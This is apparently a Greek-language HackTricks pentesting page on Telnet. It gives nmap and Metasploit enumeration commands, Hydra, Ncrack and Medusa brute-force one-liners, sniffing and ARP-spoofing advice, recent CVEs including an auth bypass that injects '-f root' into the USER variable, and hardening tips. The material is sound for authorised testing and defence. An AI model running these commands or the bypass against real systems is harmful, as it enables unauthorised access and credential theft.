23 - Pentesting Telnet

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Telnet είναι ένα πρωτόκολλο δικτύου που παρέχει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε υπολογιστή μέσω δικτύου.

Προεπιλεγμένη θύρα: 23

23/tcp open  telnet

Enumeration

nc -vn <IP> 23

Όλη η ενδιαφέρουσα enumeration μπορεί να γίνει με το nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Το σενάριο telnet-ntlm-info.nse θα αποκτήσει πληροφορίες NTLM (εκδόσεις Windows).

From the telnet RFC: Στο TELNET Protocol υπάρχουν διάφορες “επιλογές” που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή “DO, DON’T, WILL, WON’T” ώστε να επιτρέψουν σε έναν χρήστη και έναν server να συμφωνήσουν να χρησιμοποιήσουν ένα πιο εκτενές (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεσή τους TELNET. Τέτοιες επιλογές μπορεί να περιλαμβάνουν την αλλαγή του character set, του echo mode, κ.λπ.

Ξέρω ότι είναι δυνατό να καταγράψεις αυτές τις επιλογές αλλά δεν ξέρω πώς — πείτε μου αν ξέρετε πώς.

Καταγραφή Επιλογών / Χαρακτηριστικών Telnet

Το Telnet χρησιμοποιεί IAC + DO/DONT/WILL/WONT διαπραγματεύσεις για να ενεργοποιήσει επιλογές. Μπορείτε να παρατηρήσετε τις υποστηριζόμενες επιλογές καταγράφοντας την αρχική διαπραγμάτευση και δοκιμάζοντας συγκεκριμένα χαρακτηριστικά.

Nmap option/feature probes

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Το script telnet-encryption ελέγχει κατά πόσο υποστηρίζεται η επιλογή ENCRYPT· ορισμένες υλοποιήσεις ιστορικά χειρίστηκαν αυτήν την επιλογή λανθασμένα και ήταν ευάλωτες, αλλά το script απλώς ελέγχει την υποστήριξη. telnet-ntlm-info αποκαλύπτει NTLM metadata (NetBIOS/DNS/OS build) όταν είναι ενεργοποιημένο το Microsoft Telnet NTLM. telnet-brute είναι ένας NSE brute-force auditor για Telnet.

Brute force

Αρχείο ρυθμίσεων

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Αυτόματες Εντολές

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Πρόσφατες Ευπάθειες (2022-2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Ανεπαρκής επαλήθευση εισόδου στην υπηρεσία telnet επιτρέπει σε απομακρυσμένους επιτιθέμενους να συνδεθούν χρησιμοποιώντας hard-coded credentials και να εισάγουν OS commands· διορθώθηκε με firmware 1.04B05 ή νεότερο.
  • CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow στην Telnet CLI passwd εντολή επιτρέπει network-adjacent code execution ως root· απαιτείται authentication αλλά μπορεί να παρακαμφθεί.
  • CVE-2022-39028 – GNU inetutils telnetd: Μια ακολουθία δύο byte (0xff 0xf7 / 0xff 0xf8) μπορεί να προκαλέσει NULL-pointer dereference στο telnetd, και επανειλημμένα crashes μπορούν να οδηγήσουν το inetd στο να απενεργοποιήσει την υπηρεσία (DoS).

Κρατήστε αυτά τα CVE κατά νου κατά το vulnerability triage — αν ο στόχος τρέχει un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε μια απευθείας οδό προς code-execution ή σε διαταρακτικό DoS.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Περίληψη: Το telnetd στο GNU Inetutils μέχρι την έκδοση 2.7 επιτρέπει remote authentication bypass όταν η environment μεταβλητή USER έχει την τιμή -f root, με αποτέλεσμα unauthenticated root access.
Βασική αιτία: argument injection (CWE-88), επειδή το telnetd προωθεί την client-supplied μεταβλητή περιβάλλοντος USER στο login χωρίς sanitization.
Εύρος: GNU Inetutils telnetd versions 1.9.3–2.7 επηρεάζονται (δημοσιεύτηκε January 21, 2026).

Μέτρα αντιμετώπισης

  • Patch/upgrade τα επηρεαζόμενα πακέτα αμέσως (π.χ. οι διορθώσεις για Debian είναι στα 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, και 2:2.7-2).
  • Disable Telnet ή περιορίστε την πρόσβαση σε trusted management networks όσο γίνεται το patching.

Sniffing Credentials & Man-in-the-Middle

Telnet μεταδίδει τα πάντα, συμπεριλαμβανομένων των credentials, σε clear-text. Δύο γρήγοροι τρόποι για να τα καταγράψετε:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Για ενεργό MITM, συνδυάστε ARP spoofing (π.χ. arpspoof/ettercap) με τα ίδια sniffing filters για να harvest passwords σε switched networks.

Automated Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Most IoT botnets (Mirai variants) εξακολουθούν να σαρώσουν το port 23 με μικρά default-credential dictionaries—η μίμηση αυτής της λογικής μπορεί γρήγορα να εντοπίσει αδύναμες συσκευές.

Exploitation & Post-Exploitation

Το Metasploit έχει αρκετά χρήσιμα modules:

  • auxiliary/scanner/telnet/telnet_version – banner & option enumeration.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).
  • exploit/linux/mips/netgear_telnetenable – enables telnet service with a crafted packet on many NETGEAR routers.

Αφού αποκτηθεί shell, θυμηθείτε ότι TTYs are usually dumb· αναβαθμίστε με python -c 'import pty;pty.spawn("/bin/bash")' ή χρησιμοποιήστε τα HackTricks TTY tricks.

Hardening & Detection (Blue team corner)

  1. Προτιμήστε SSH και απενεργοποιήστε πλήρως την υπηρεσία Telnet.
  2. Εάν απαιτείται Telnet, δεσμεύστε το μόνο στα management VLANs, εφαρμόστε ACLs και τυλίξτε το daemon με TCP wrappers (/etc/hosts.allow).
  3. Αντικαταστήστε τις legacy telnetd implementations με ssl-telnet ή telnetd-ssl για να προσθέσετε transport encryption, αλλά αυτό προστατεύει μόνο τα data-in-transit—password-guessing παραμένει trivial.
  4. Παρακολουθείτε εξερχόμενη κίνηση προς το port 23· οι compromiσes συχνά spawn reverse shells πάνω από Telnet για να παρακάμψουν αυστηρούς HTTP egress filters.

Αναφορές

  • D-Link Advisory – CVE-2024-45698 Κρίσιμο Telnet RCE.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.
  • NVD – CVE-2026-24061.
  • Canadian Centre for Cyber Security Ειδοποίηση AL26-002 (CVE-2026-24061).
  • Debian Security Tracker – CVE-2026-24061 διορθωμένες εκδόσεις.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks